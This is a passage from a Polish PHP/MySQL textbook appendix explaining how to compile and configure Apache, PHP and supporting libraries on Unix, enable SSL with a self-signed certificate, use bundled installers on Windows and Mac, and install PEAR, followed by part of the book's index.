się nie obawiać: opis pełnej instalacji i konfiguracji serwera Apache zostanie przedstawiony
w dalszej części rozdziału. W pierwszej kolejności należy się upewnić, że znajdujemy się w katalogu
zawierającym kody źródłowe serwera.
# cd /usr/src
# sudo gunzip httpd-WERSJA.tar.gz –
# sudo tar –xvf httpd-WERSJA.tar
# cd httpd-VERSION
# sudo ./configure --prefix=/usr/local/apache2 –-enable-so

Ta druga flaga konfiguracyjna została użyta po to, by mod_so został wkompilowany w serwer
Apache. Moduł ten, którego nazwa odwołuje się do uniksowego formatu wspólnych obiektów
(nag. shared objects; *.so), pozwala na stosowanie w Apache dynamicznych modułów, takich
jak PHP.

Proces budowania serwera można kontynuować, wydając następujące dwa polecenia:


# sudo make
# sudo make install

Po ich wykonaniu w systemie będziemy już mieli skonfigurowaną i zainstalowaną podstawową


wersję serwera WWW Apache. W celu dalszego przygotowania systemu do zbudowania PHP ko-
nieczne jest opracowanie kilku dodatkowych bibliotek, które będą używane przez PHP i Apache
(takich jak JPEG, PNG, zlib, OpenSSL oraz IMAP), tak by można się było do nich prawidłowo
odwołać w konfiguracji PHP.
Dodatek A  Instalacja Apache, PHP i MySQL 693

Oto czynności niezbędne do zainstalowania biblioteki JPEG:


# cd /usr/src
# sudo gunzip jpegsrc.WERSJA.tar.gz
# sudo tar –xvf jpegsrc.WERSJA.tar.gz
# cd jpeg-VERSION
# sudo ./configure
# sudo make
# sudo make install

Po wykonaniu ostatniego polecenia, jeśli w trakcie procesu nie wystąpiły żadne błędy, biblioteka
JPEG powinna już być zainstalowana w katalogu /usr/local/lib. Jeżeli jednak w trakcie procesu bu-
dowania i instalacji biblioteki wystąpiły jakieś błędy, to trzeba będzie zajrzeć do jej dokumentacji.

Taki sam proces, na który składa się wykonanie poleceń gunzip, tar, configure, make i make install,
należy powtórzyć w celu zbudowania z plików źródłowych dwóch kolejnych bibliotek: PNG
oraz zlib.

Jeśli chodzi o instalowanie biblioteki IMAP-C, to także ją można pobrać i zbudować z kodów
źródłowych, niemniej jednak proces ten może się okazać problematyczny ze względu na „dziwactwa”
tej biblioteki i różnice, jakie mogą występować podczas jej budowania w różnych systemach opera-
cyjnych. Dlatego też zalecamy, by postępować zgodnie z najnowszymi wytycznymi, opublikowa-
nymi w dokumentacji PHP dostępnej na stronie http://php.net/manual/en/imap.requirements.php.

Znacznie łatwiejszym rozwiązaniem może być zainstalowanie prekompilowanego pakietu, dostoso-


wanego do typu używanego serwera; w przypadku systemu Ubuntu 16.04 zrobiliśmy to w nastę-
pujący sposób:
# sudo apt-get install libc-client-dev

Kiedy wszystkie biblioteki będą już przygotowane, można zająć się budowaniem samego PHP.
W pierwszej kolejności trzeba rozpakować kody źródłowe do wybranego katalogu, a następnie
przejść do niego:
# cd /usr/src
# sudo gunzip php-WERSJA.tar.gz
# sudo tar -xvf php-WERSJA.tar
# cd php-WERSJA

Istnieje bardzo wiele opcji, które można zastosować w poleceniu configure, przygotowującym
PHP do kompilacji i zbudowania. Aby je wyświetlić i zdecydować, które warto wykorzystać,
należy wykonać polecenie ./configure --help. W naszym przykładzie zdecydowaliśmy się na
dodanie obsługi MySQL, Apache oraz gd2.

Trzeba zwrócić uwagę na to, że poniższe polecenie stanowi jedną całość. Można je zapisać w jed-
nym wierszu bądź też, jak pokazano poniżej, można skorzystać ze znaku kontynuacji (\), który
pozwala na wpisywanie jednego polecenia w kilku wierszach, co bardzo poprawia jego czytelność:
#./configure --prefix=/usr/local/php
--with-mysqli=mysqlnd
--with-apxs2=/usr/local/apache2/bin/apxs
--with-jpeg-dir=/usr/local/lib
--with-png-dir=/usr/local/lib
--with-zlib-dir=/usr/local/lib
--with-imap=/usr/lib
--with-kerberos
--with-imap-ssl
--with-gd
694 Dodatki

Pierwsza flaga konfiguracyjna określa położenie instalacyjnego katalogu PHP; w tym przypadku
jest to /usr/local/php. Druga zapewnia, że środowisko PHP zostanie zbudowane z wykorzystaniem
natywnych sterowników MySQL. Trzecia flaga informuje PHP o położeniu apxs2 (narzędzia
Apache Extensions — rozszerzenia serwera Apache), używanego do budowy modułów serwera
Apache, do których zalicza się także PHP. Określenie położenia apxs2 w ramach procesu budowy
PHP wynika z konieczności przygotowania odpowiedniej wersji modułu PHP, a do tego przed
rozpoczęciem budowania PHP konieczne jest wstępne skonfigurowanie i zainstalowanie przynajm-
niej podstawowej wersji serwera Apache.

Kolejny zestaw flag konfiguracyjnych określa położenie przygotowanych wcześniej bibliotek


(JPEG, PNG, zlib oraz IMAP). Dwie kolejne flagi, --with-kerberos i --with-imap-ssl, są
związane z wykorzystaniem biblioteki IMAP. W zależności od tego, jakie prekompilowane bibliote-
ki będą dostępne w używanym systemie, flagi te mogą, choć nie muszą być niezbędne; może się
także okazać, że konieczne będzie zastosowanie dodatkowych flag. W takim przypadku proces kon-
figuracji wyświetli stosowne informacje na ich temat.

Po zakończeniu konfiguracji na ekranie zostanie wyświetlony komunikat podobny do tego przed-


stawionego poniżej:
Generating files
configure: creating ./config.status
creating main/internal_functions.c
creating main/internal_functions_cli.c
+--------------------------------------------------------------------+
| License: |
| This software is subject to the PHP License, available in this |
| distribution in the file LICENSE. By continuing this installation |
| process, you are bound by the terms of this license agreement. |
| If you do not agree with the terms of this license, you must abort |
| the installation process at this point. |
+--------------------------------------------------------------------+

Thank you for using PHP.

config.status: creating php7.spec


config.status: creating main/build-defs.h
config.status: creating scripts/phpize
config.status: creating scripts/man1/phpize.1
config.status: creating scripts/php-config
config.status: creating scripts/man1/php-config.1
config.status: creating sapi/cli/php.1
config.status: creating sapi/cgi/php-cgi.1
config.status: creating ext/phar/phar.1
config.status: creating ext/phar/phar.phar.1
config.status: creating main/php_config.h
config.status: executing default commands

Będzie to oznaczać, że system jest gotowy do zbudowania PHP oraz zainstalowania plików binar-
nych; musimy zatem dokończyć proces, wydając dwa poniższe polecenia:
# make
# make install

Po tym ostatnim kroku, jeśli w trakcie procesu nie wystąpiły żadne błędy, plik binarny PHP zostanie
zbudowany i zainstalowany, podobnie jak moduł PHP dla serwera Apache, który także zostanie
zbudowany, zainstalowany i umieszczony w odpowiednim miejscu struktury katalogów serwera
Apache. Ostatnią czynnością konfiguracyjną, którą można wykonać, jest upewnienie się, że plik
php.ini zostanie umieszczony w stabilnym i standardowym miejscu:
# sudo cp php.ini-development /usr/local/php/lib/php.ini
Dodatek A  Instalacja Apache, PHP i MySQL 695

ewentualnie:
# sudo cp php.ini-production /usr/local/php/lib/php.ini

Obie wersje pliku php.ini wymienione w powyższych poleceniach zawierają odmienne zestawy
opcji konfiguracyjnych. Pierwsza z nich, php.ini-development, jest przeznaczona dla komputerów
używanych przez programistów do tworzenia aplikacji. Na przykład w tym pliku dyrektywie
display_errors przypisywana jest wartość On. Choć ustawienie to ułatwia pisanie i testowanie
kodu, to jednak nie nadaje się raczej do użycia na komputerach produkcyjnych. Wszystkie odwoła-
nia do domyślnych ustawień php.ini w niniejszej książce odnoszą się do ustawień podanych wła-
śnie w tym pliku. Druga wersja pliku, o nazwie php.ini-production, zawiera ustawienia przezna-
czone do użycia na serwerze produkcyjnym.

Plik php.ini można edytować, by zmienić zapisane w nim ustawienia konfiguracyjne. Istnieje wiele
opcji godnych uwagi, jednak kilka z nich jest szczególnie istotnych. Na przykład aby móc wysy-
łać wiadomości e-mail, trzeba będzie podać w opcji sendmail_path ścieżkę do programu sendmail.

Po przygotowaniu PHP trzeba ponownie wrócić do plików źródłowych serwera Apache, by go


przekonfigurować i skompilować w formie, która będzie się nieco lepiej nadawać do wykorzystania
w pracach programistycznych (w tym celu należy nieco rozszerzyć zastosowane wcześniej pod-
stawowe ustawienia). Oprócz opcji --enable-so, która pozwoliła na korzystanie ze współużytko-
wanych obiektów, takich jak PHP, musimy także użyć opcji --enabled-ssl, by pozwolić na zasto-
sowanie modułu mod_ssl. Poza tym określimy również bazowy katalog OpenSSL — biblioteki,
którą skonfigurowaliśmy i zainstalowaliśmy we wcześniejszej części tego podpunktu.
# cd /usr/local/httpd-WERSJA
# sudo SSL_BASE=../openssl-WERSJA \
./configure \
--prefix=/usr/local/apache2 \
--enable-so \
--enable-ssl
# sudo make
# sudo make install

Jeśli wszystko zostanie wykonane prawidłowo i nie wystąpią żadne błędy, to po zakończeniu
budowy serwera Apache wrócimy do wiersza poleceń i będziemy gotowi do wykonania finalnych
zmian w konfiguracji środowiska. Jeżeli jednak w trakcie procesu instalacji wystąpią jakieś błędy,
to trzeba będzie zajrzeć do dokumentacji serwera Apache HTTP Server 2.4 (http://httpd.apache.
org/docs/2.4/) i tam poszukać informacji o napotkanych anomaliach.

Podstawowe zmiany w konfiguracji serwera Apache


Plik używany przez większość konfiguracji serwera Apache nosi nazwę httpd.conf. Jeśli Czytelnik
postępował zgodnie z wcześniejszymi instrukcjami, to znajdzie ten plik w katalogu /usr/local/
apache2/conf. Konieczne będzie wprowadzenie w nim kilku modyfikacji, które zagwarantują,
że serwer prawidłowo się uruchomi i będzie używał PHP i SSL. W tym celu należy:
 Odnaleźć w pliku wiersz rozpoczynający się od #ServerName i zmienić go na ServerName
nazwaserwera.com.pl.
 Odnaleźć blok kodu rozpoczynający się od AddType i dodać do niego poniższe wiersze, które
zapewnią, że obsługa plików PHP będzie odpowiednio przekazywana do modułu PHP:
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
696 Dodatki

Teraz będzie już można uruchomić serwer i sprawdzić, czy PHP działa. W pierwszej kolejności
uruchomimy serwer bez obsługi protokołu SSL i sprawdzimy, czy w ogóle działa. W następnym
punkcie rozdziału zajmiemy się sprawdzeniem obsługi PHP oraz SSL.

Do sprawdzenia tego, czy konfiguracja serwera Apache jest prawidłowa, można użyć programu
configtest:
# cd /usr/local/apache2/bin
# sudo ./apachectl configtest
Syntax OK
# sudo ./apachectl start
./apachectl start: httpd started

Jeśli konfiguracja jest prawidłowa, to po odwołaniu się do serwera w przeglądarce WWW powin-
niśmy uzyskać rezultat podobny do tego przedstawionego na rysunku A.3.

Rysunek A.3.
Domyślna strona testowa
wyświetlana przez serwer
Apache

Można nawiązać połączenie z serwerem, podając nazwę domeny lub adres IP komputera.
Należy sprawdzić oba przypadki, aby upewnić się, że wszystko działa poprawnie.

Czy obsługa PHP działa poprawnie?


Skoro już wiemy, że serwer Apache działa, należy również sprawdzić, czy PHP jest prawidłowo
obsługiwane przez serwer. W tym celu można utworzyć plik o nazwie test.php i wpisać do niego
kod przedstawiony poniżej. Plik ten powinien zostać umieszczony w katalogu dokumentów, którym
standardowo jest /usr/local/apache/htdocs. Warto wiedzieć, że ścieżkę tę można zmienić w pliku
konfiguracyjnym httpd.conf.
<? phpinfo() ?>

W efekcie wywołania pliku test.php przeglądarka powinna wyświetlić stronę podobną do tej przed-
stawionej na rysunku A.4.
Dodatek A  Instalacja Apache, PHP i MySQL 697

Rysunek A.4.
Funkcja phpinfo()
powoduje wyświetlenie
informacji dotyczących
konfiguracji

Czy SSL działa poprawnie?


Na tym etapie przygotowywania środowiska SSL jeszcze nie powinien działać na naszym kom-
puterze, gdyż jeszcze nie utworzyliśmy certyfikatu SSL oraz towarzyszącego mu klucza. Serwer
Apache jest skonfigurowany i gotowy do działania, ale brakuje jeszcze certyfikatów zabezpiecza-
jących transmisję danych.

Samodzielnie podpisane certyfikaty w zupełności wystarczające do pisania aplikacji interneto-


wych można przygotować przy użyciu OpenSSL; jeśli jednak witryna ma być wykorzystywana do
celów produkcyjnych, to trzeba będzie zastosować na niej certyfikat SSL przygotowany przez
odpowiednią agencję certyfikującą (ang. Certification Authority, w skrócie: CA). Let’s Encrypt
jest przykładem bezpłatnej, zautomatyzowanej i otwartej agencji certyfikującej, obsługiwanej dla
dobra ogółu przez Internet Security Research Group (ISRG).

Aby stworzyć samodzielnie podpisany certyfikat, należy wykonać umieszczone poniżej polecenie,
które utworzy sam certyfikat i odpowiedni klucz i umieści je w miejscu oczekiwanym przez serwer
Apache:
# sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /usr/local/apache2/conf/server.key \
-out /usr/local/apache2/conf/server.crt

Skrypt odpowiadający za wygenerowanie certyfikatu i klucza poprosi o podanie kilku informacji,


takich jak kraj, stan, nazwa firmy czy też nazwa domeny; można podać informacje fikcyjne lub
fałszywe. Po zakończeniu działania skryptu będziemy dysponować fikcyjnym certyfikatem, który
będzie ważny przez jeden rok i wraz z kluczem zostanie zapisany w katalogu /usr/local/apache2/conf.

Istnieje odrębny plik konfiguracyjny zawierający ustawienia związane z SSL; jest to plik
httpd-ssl.conf, umieszczony w katalogu /usr/local/apache2/conf/. Na razie można pozostawić
go w pierwotnej postaci i ponownie uruchomić serwer Apache, aby zostały uwzględnione
wprowadzone modyfikacje. Można także kontynuować lekturę, by go zmodyfikować, a tym samym
698 Dodatki

zmienić konfigurację serwera. Informacje na temat opcji konfiguracyjnych umieszczanych w pliku


httpd-ssl.conf oraz sposobów ich modyfikacji można znaleźć w dokumentacji zamieszczonej na
stronie http://httpd.apache.org/docs/2.4/mod/mod_ssl.html.

W przypadku serwera Apache 2.4, aby włączyć obsługę SSL, wystarczy jedynie usunąć znak
komentarza umieszczony w pliku httpd.conf, na początku reguły dołączającej plik httpd-ssl.conf.
A zatem wiersz, który początkowo ma następującą zawartość:
# Include conf/extra/httpd-ssl.conf

należy zmienić na następujący:


Include conf/extra/httpd-ssl.conf

Po wprowadzeniu tych zmian w konfiguracji wystarczy ponownie uruchomić serwer:


# sudo /usr/local/apache2/bin/apachectl restart

Działanie serwera można sprawdzić, odwołując się do niego w przeglądarce z wykorzystaniem pro-
tokołu https:
https://nazwaserwera.nazwadomeny.com.pl

Można także wypróbować dostęp do serwera przy użyciu adresu IP:


https://xxx.xxx.xxx.xxx

albo:
https://xxx.xxx.xxx.xxx:443

Jeśli konfiguracja i samodzielnie podpisane certyfikaty działają prawidłowo, to serwer prześle


certyfikat do przeglądarki, by umożliwić nawiązanie bezpiecznego połączenia. Zakładając, że będzie
to certyfikat przygotowany samodzielnie, przed wyświetleniem strony przeglądarka wyświetli
ostrzeżenie, takie jak to przedstawiono na rysunku A.5. Gdyby certyfikat pochodził z uznanej
agencji certyfikującej, której przeglądarka ufa, to żadne ostrzeżenie nie zostałoby wyświetlone.

Instalacja Apache,
PHP i MySQL w systemie Windows
Dysponując odpowiednimi narzędziami programistycznymi PHP, Apache oraz MySQL można
zainstalować z plików źródłowych także w systemie Windows i Mac OS X. Można też zainstalo-
wać PHP, Apache oraz MySQL osobno, postępując zgodnie z instrukcjami dostępnymi w doku-
mentacji PHP zamieszczonej na stronie http://php.net/manual/en/install.php. Niemniej jednak
aby szybko i sprawnie uruchomić całe środowisko na komputerze przeznaczonym do pisania apli-
kacji, można także skorzystać z jednego z kilku dostępnych pakietów instalacyjnych oferujących
całościowe rozwiązanie.

Jednym z najbardziej popularnych i bardzo dobrze utrzymywanych pakietów instalacyjnych tego


typu, zawierających w sobie serwer Apache, PHP oraz serwer MySQL, jest XAMPP („X” w nazwie
oznacza, że pakiet ten jest dostępny w wersjach przeznaczonych na różne platformy systemowe:
Linux, Windows oraz Mac OS X). Można go pobrać ze strony http://www.apachefriends.org/.
Dodatek A  Instalacja Apache, PHP i MySQL 699

Rysunek A.5.
W przypadku
używania samodzielnie
podpisanych certyfikatów
przeglądarka poprosi
o dodanie wyjątku
oznaczającego,
że ufamy danej witrynie

Istnieją także dwa inne dobre pakiety tego typu, które również zawierają Apache, MySQL i PHP;
oto one:
 WAMP — stanowi instalację Apache, MySQL oraz PHP przeznaczoną dla systemów
Windows; dostępny na stronie http://www.wampserver.com/.
 MAMP — stanowi instalację Apache, MySQL oraz PHP przeznaczoną dla komputerów
Mac; dostępny na stronie http://www.mamp.info/.
Aby zainstalować któryś z tych pakietów na komputerze z systemem Windows lub Mac OS X, należy
postępować zgodnie instrukcjami opublikowanymi przez twórców danego pakietu. Jest całkiem praw-
dopodobne, że cały proces sprowadzi się do jednego kliknięcia bądź ewentualnie przejścia krótkie-
go kreatora instalacyjnego, który przeprowadzi nas przez wszystkie etapy instalacji i konfiguracji.

Testowanie wprowadzonych zmian


Po zakończeniu działania pakietu instalacyjnego można uruchomić serwer i przeprowadzić prosty
test, by upewnić się, że PHP działa prawidłowo. W tym celu należy utworzyć plik test.php i wpisać
w nim następującą instrukcję:
<? phpinfo() ?>

Plik ten powinien zostać zapisany w katalogu główny dokumentów udostępnianych przez ser-
wer (zwykle c:\Program Files\Apache Software Foundation\Apache2.4\htdocs). Należy wywołać
go w przeglądarce, wpisując:
http://localhost/test.php

lub
http://adres_IP/test.php

Jeśli w przeglądarce zostanie wyświetlona strona podobna do przedstawionej na rysunku A.2, będzie
to oznaczało, że serwer prawidłowo obsługuje PHP.
700 Dodatki

Instalowanie PEAR
PEAR, PHP Extension And Application Repository2, jest systemem rozpowszechniania pisanych
w PHP komponentów wielokrotnego użytku, tworzonych przez społeczność programistów używają-
cych tego języka. Obecnie jest w nim dostępnych ponad 200 pakietów przeznaczonych dla języka
PHP 5 i nowszych, które rozszerzają możliwości funkcjonalne podstawowej instalacji PHP.

Aby korzystać z PEAR, trzeba posiadać odpowiedni pakiet instalacyjny. W przypadku opisanego
wcześniej sposobu instalacji PHP w systemie Unix pakiet ten będzie już dostępny, a żeby zainstalo-
wać go w systemie Windows, trzeba będzie wyświetlić okno wiersza poleceń, a następnie wpisać
w nim polecenie: c:\php\go-pear.

Skrypt go-pear zada kilka prostych pytań na temat tego, gdzie ma zostać zainstalowany instalator
pakietu oraz standardowe klasy PEAR, a następnie sam je pobierze i zainstaluje. W tym momencie
powinien już być zainstalowany instalator pakietu PEAR oraz podstawowe biblioteki PEAR.
Można teraz przystąpić do instalacji poszczególnych pakietów, wpisując
pear install pakiet

gdzie pakiet powinien być zastąpiony przez nazwę pakietu, który ma zostać zainstalowany.
Listę dostępnych pakietów otrzymamy, wpisując
pear list-all

Aby sprawdzić, które pakiety zostały już zainstalowane, należy wpisać


pear list

Aby sprawdzić, czy dostępna jest nowsza wersja któregoś z zainstalowanych pakietów, należy wpisać
pear upgrade nazwa_pakietu

Jeżeli przedstawiona procedura z jakiegoś powodu nie zadziała, proponujemy pobrać pakiety
PEAR bezpośrednio. Wszystkie te pakiety można znaleźć w witrynie http://pear.php.net/
packages.php. Można je tam przeglądać tak długo, aż znajdziemy ten, który nas interesuje.
Wybrany pakiet można następnie pobrać i ręcznie umieścić w katalogu PEAR na komputerze —
jest to zazwyczaj podkatalog pear katalogu instalacyjnego PHP.

Instalowanie PHP z innymi serwerami


Choć stosowanie PHP z serwerem Apache jest niemal domyślną konfiguracją, co nie jest niczym
dziwnym, jeśli wziąć pod uwagę to, jak długo obie te technologie pomyślnie ze sobą współpracują
(w tej chwili jest to ponad 15 lat), to jednak nic nie stoi na przeszkodzie, by zainstalować i stosować
PHP wraz z kilkoma innymi serwerami WWW. Na przykład jedną z konfiguracji, która ostatnio
zyskuje coraz większą popularność, jest używanie PHP z serwerem Nginx (http://nginx.org). Szcze-
gółowe instrukcje dotyczące instalowania PHP na serwerze Nginx można znaleźć w dokumentacji
PHP dostępnej na stronie http://php.net/manual/en/install.unix.nginx.php.

Alternatywne konfiguracje, obejmujące inne serwery działające w systemach Unix, zostały opisane
w dokumentacji PHP zamieszczonej na stronie http://php.net/manual/en/install.unix.php.

2
Repozytorium rozszerzeń i aplikacji PHP — przyp. tłum.
Skorowidz
A blokada
usługi, 333
agregowanie danych, 264 pliku, 87
AJAX, 477, 487 błędy, 203, 352, 523
aliasy, 262 logiczne, 529
analiza ustawień, 355 programistyczne, 523
Apache, 373, 687 składni, 523
Apache HTTP Server, 355 w zmiennych, 530
API Reflection, 197 wykonania, 524
aplikacje WWW, 510
architektura internetowej bazy danych, 224
asercje, 138 C
asynchroniczne żądania, 477
atak cechy, 180
DDoS, 361 cookie, 464
CSS, Cascading Style Sheets, 519
DoS, 361
czcionki, 448
atomowe wartości kolumn, 221
atomowość, 315
atrybuty, 170 D
klasy, 172
kolumn, 240 dane wrażliwe, 329
automatyczne generowanie obrazków, 447 data i czas, 415
autoryzacja, 635 DDL, Data Definition Language, 254
OAuth, 642 definiowanie
awaria, 362 użytkowników, 230
własnych funkcji, 154
dekrementacja, 51
B destruktory, 171
DMZ, demilitarized zone, 360
baza danych, 88, 215 dodawanie
MySQL, 253 zakładek, 561
bezpieczeństwo, 327 zawartości dynamicznej, 39
aplikacji, 329 dokumentacja projektów, 517
komputerów, 361 dołączanie kodu, 145
serwera bazy danych, 357 domknięcia, 165
serwera WWW, 354 dopasowanie łańcuchów znaków, 129, 452
sieci, 359 dostawcy usług, 574
systemów operacyjnych, 361 dostęp
aplikacji, 341 do danych żądania, 580
biblioteka do elementów tablicy, 95
GD, 442 do serwera, 336
jQuery, 478, 492 do tablic, 94
do zawartości tablicy, 93
do zmiennych formularza, 41
702 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

działanie bazy danych, 273 fgetc(), 84


dziedziczenie, 169, 175 file(), 84
dzielenie kodu, 515 file_exists(), 85
file_get_contents(), 84
E filesize(), 85
flock(), 87
e-commerce, 327 fopen(), 73, 210, 412
Eloquent, 588 fpassthru(), 84
e-mail, 611 fread(), 85
fseek(), 86
ftell(), 86
F fwrite(), 78
filtrowanie get_loaded_extensions(), 502
danych, 343 getdate(), 419
łańcuchów znaków, 118 getenv(), 398
wartości, 346 getlastmod(), 502
fizyczne zabezpieczenie serwera, 362 gettext(), 435, 438
format highlight_string(), 504
GIF, 443 htmlspecialchars(), 119, 120
JPEG, 442 imagecolorallocate(), 445
PNG, 442 imagefill(), 445
formatowanie imagepng(), 447
HTML, 121 imap_body(), 598
łańcuchów znaków, 117, 122 imap_etchstructure(), 608
formaty imap_fetch_overview(), 596, 598
daty, 422 imap_list(), 593
obrazków, 442 implode(), 125
plików, 79 include(), 144, 150
formularz ini_get(), 504
komentarzy, 116 join(), 125
obliczanie sum, 56 ksort(), 101
zamówienia, 34 list(), 402
framework ltrim(), 118
jQuery, 478 mail(), 400
Laravel 5, 571 MySQL DATE_FORMAT(), 423
funkcja next(), 110
array_count_values(), 112 nl2br(), 121
array_multisort(), 102 pos(), 110
array_reverse(), 106 prev(), 110
array_walk(), 111 print(), 122
asort(), 101 putenv(), 398
checkdate(), 420 range(), 106
chop(), 118 readfile(), 84
count(), 112 require(), 144, 145, 146
current(), 110 reset(), 110
date(), 40, 416 rewind(), 86
DATE_FORMAT(), 422 serialize(), 501
die(), 500 show_source(), 505
each(), 110 shuffle(), 105
end(), 110 sizeof(), 112
eval(), 499 sort(), 100
exit(), 500 str_replace(), 131
explode(), 125 strchr(), 129
extract(), 112 stristr(), 129
feof(), 82 strlen(), 128
Skorowidz 703

strpos(), 130 IMAP, 591


strrchr(), 129 implementacja
strrpos(), 130 bazy danych, 543, 654
strstr(), 129 dziedziczenia, 175
strtok(), 126 funkcji anonimowych, 165
substr(), 127 interfejsów, 180
substr_replace(), 131 interfejsu administratora, 676
textdomain(), 439 iteratorów, 194
trim(), 118 katalogu online, 656
unlink(), 86 klasy ImapServiceProvider, 616
usort(), 103 klienta Instagrama, 639
funkcje kontroli dostępu, 366
anonimowe, 165 kontroli wersji, 516
dostępowe, 174 koszyka na zakupy, 662
FTP, 414 metod statycznych, 190
IMAP, 591 metody uwierzytelniania, 376
kalendarzowe, 426 OAuth, 637
katalogowe, 388 płatności, 675
łańcuchowe, 129, 432 podstawowej witryny, 544
obrazków, 462 prostych sesji, 466
nazwa, 154 przestrzeni nazw, 200
parametry, 156 rekomendacji, 566
plikowe, 85 rekurencji, 163
połączeń sieciowych, 403 replikacji, 310
sieci, 399 systemu płatności, 650
struktura, 154 usuwania wiadomości, 629
uruchamiające programy, 395 uwierzytelniania, 470
własne, 154 uwierzytelniania użytkowników, 546
wywołanie, 153 widoku aplikacji, 621
zarządzania zmiennymi, 59 wysyłania wiadomości, 629
zwracanie wartości, 162 wyświetlania wiadomości, 626
indeksy, 243
informacje
G o bazie danych, 301
generatory, 195 o dacie i czasie, 415
globalna przestrzeń nazw, 200 o katalogu, 391
grupowanie danych, 264 o pliku, 392
grupy tras, 577 o środowisku PHP, 501
inicjowanie tablic, 92, 95
InnoDB
H transakcje, 316
instalacja
hasła, 299, 368, 555 Apache, 688, 692, 698
hasło zapomniane, 557
MySQL, 688, 698, 690
HTML
PEAR, 700
osadzanie PHP, 36
PHP, 688, 698, 692
instrukcja
I else, 62
elseif, 63
IDE, Integrated Development Environment, 517 if, 61
identyfikacja switch, 63
użytkowników, 337, 365, 540 instrukcje PHP, 38
właściciela skryptu, 502 interfejs, 180
identyfikatory, 44 administratora, 651, 676
MySQL, 244 MessageInterface, 606
sesji, 465
704 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

internetowa baza danych, 227 kopia


iteracja, 65, 194 bezpieczeństwa, 407
izolacja, 316 lustrzana pliku, 407
zapasowa bazy, 309
koszyk na zakupy, 649
J dane klienta, 670
jądra aplikacji, 574 dodawanie produktów, 667
język implementacja, 662
DDL, 254 implementacja bazy danych, 654
JavaScript, 477 implementacja katalogu online, 656
PHP, 22 implementacja płatności, 675
SQL, 253 interfejs administratora, 676
jQuery, 478, 487 kasa, 670
kategorie, 658
pliki aplikacji, 653
K podgląd, 665
kadr obrazka, 444 skrypt kontrolujący, 664
katalogi, 391 wyświetlanie podsumowania, 669
klasa, 168, 170 zapisywanie, 669
Attachment, 614
Exception, 205
ImapServiceProvider, 616
L
klienta IMAP, 602 Laravel 5, 571
Message, 606 logowanie, 551
klasy OAuth, 640
abstrakcyjne, 192 lokalizacja, 429, 432
modelu, 575
znaków, 133
klauzula Patrz polecenie Ł
klient łańcuchy znaków, 43, 115, 197
Instagrama, 639 dopasowywanie, 129
poczty elektronicznej, 571, 591, 615 formatowanie, 117
klonowanie obiektów, 191 łączenie, 125
klucz, 93, 217, 222
porównywanie, 127
klucze obce, 317
rozdzielanie, 125
kolejność operatorów, 57
kolumny, 216, 241 zamiana, 129
komentarze, 39, 116 łączenie
komentowanie kodu, 514 łańcuchów znaków, 43, 125
konfiguracja tabel, 259, 260
cookies, 464 łączone operatory przypisania, 50
kontroli sesji, 469
odbiorcy, 312 M
podstawowego kadru, 451
serwera nadrzędnego, 311 mechanizm Eloquent, 588
serwera Apache, 695 media społecznościowe, 635
serwera WWW, 355 metaznaki, 136
strefy zdemilitaryzowanej, 360 metoda
konstruktory, 170 $.ajax(), 490
kontrola $.get(), 492
dostępu, 366 $.getJSON(), 493
sesji, 463, 469 __autoload(), 193
wersji, 516 __call(), 192
kontroler frameworka Laravel, 575 fetch(), 608
kontrolery, 578 on(), 483
konwencje nazewnicze, 512
Skorowidz 705

metody
jQuery, 490
O
statyczne, 190 OAuth, 635
mikrosekundy, 426 obiekty, 168
modele, 584 obliczanie
modyfikacje danych, 332 dat, 424
modyfikator sum, 56
private, 173 obrazki, 441
protected, 173 obsługa
public, 173 błędów i wyjątków, 203
monitor MySQL, 228 obrazków, 441
monitorowanie bezpieczeństwa, 343 żądań, 574
MySQL, 23, 213 żądań AJAX, 492
agregowanie danych, 264 ochrona bazy danych, 298
identyfikatory, 244 ODBC, 286
kod źródłowy, 28 odczyt
kopia zapasowa, 309 z katalogów, 388
koszt, 27 z pliku, 81
obliczanie dat, 425 odczytywanie zakładek, 561
ochrona, 298 odstępy, 38
optymalizacja, 308 odwołania wsteczne, 138
procedury składowane, 318 ograniczanie ryzyka, 334
przenośność, 27 opakowywanie funkcji IMAP, 599
przywileje, 233 opcja
przywracanie bazy, 310 auto_append_file, 150
replikacja, 310 auto_prepend_file, 150
składowania danych, 314 opcje konfiguracyjne sesji, 470
struktury sterujące, 321 operacje, 170
szeregowanie danych, 264 CRUD, 588
tworzenie bazy danych, 227 operator, 48
typy połączeń, 263 równości, 52
usuwanie rekordów, 271 tłumienia błędów, 54
usuwanie tabel, 272 trójkowy, 54
wsparcie, 28 typu, 55
wstawianie danych, 283 wykonania, 54
wydajność, 27 wykonawczy, 352
operatory
wyszukiwanie danych, 256, 259, 261
arytmetyczne, 48
wyzwalacze, 324
bitowe, 53
zaawansowane programowanie, 313
łańcuchowe, 49
zapisywanie danych, 254
podzapytań, 268
zmiana rekordów, 269
porównania, 258
zmiana struktury tabel, 269
MySQL 5.x, 28 porównań, 52
przypisania, 49
referencji, 51
N tablicowe, 55, 96
optymalizacja
nazwy kodu, 519, 520
funkcji, 154, 155 bazy danych, 308
tabel, 262 organizacja kodu źródłowego, 349
osadzanie usług, 400
otwieranie pliku, 73
oznaczanie zdjęć, 646
706 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

P wyrażenia regularne, 132


wysyłanie plików, 379
parametry, 156 wyszukiwanie danych, 71
PDO, 286 wywoływanie funkcji, 40
PEAR, 700 zasięg zmiennych, 47
personalizacja, 539, 540 zawartość dynamiczna, 39
pętla zmienne, 43
do..while, 68 znaczniki, 37
for, 67, 94 PHP 7, 26
foreach, 67 pierwsza aplikacja, 34
while, 66 planowanie
PHP, 22 projektu, 510
API Reflection, 197 z wyprzedzeniem, 342
atrybuty, 170 plik
data i czas, 415 .htaccess, 373
dokumentacja, 26 dziennika, 538
dziedziczenie, 175 php.ini, 355, 503
formatowanie łańcuchów znaków, 117 pliki
funkcje kalendarzowe, 426 blokowanie, 87
funkcje łańcuchowe, 432 formaty, 79
funkcje sieci, 399 jednorodne, 88
generowanie obrazków, 441 odczyt, 81
identyfikatory, 44 problemy z otwieraniem, 76
integracja z bazami danych, 25 przenoszenie, 395
klasy, 170 tłumaczeń, 437
kod źródłowy, 26 tryby otwarcia, 73
komentarze, 39 tworzenie, 395
kontrola sesji, 463, 469 usuwanie, 395
łańcuchy znaków, 43, 115 wczytywanie tablic, 107
metody uwierzytelniania, 365, 371 zamykanie, 79
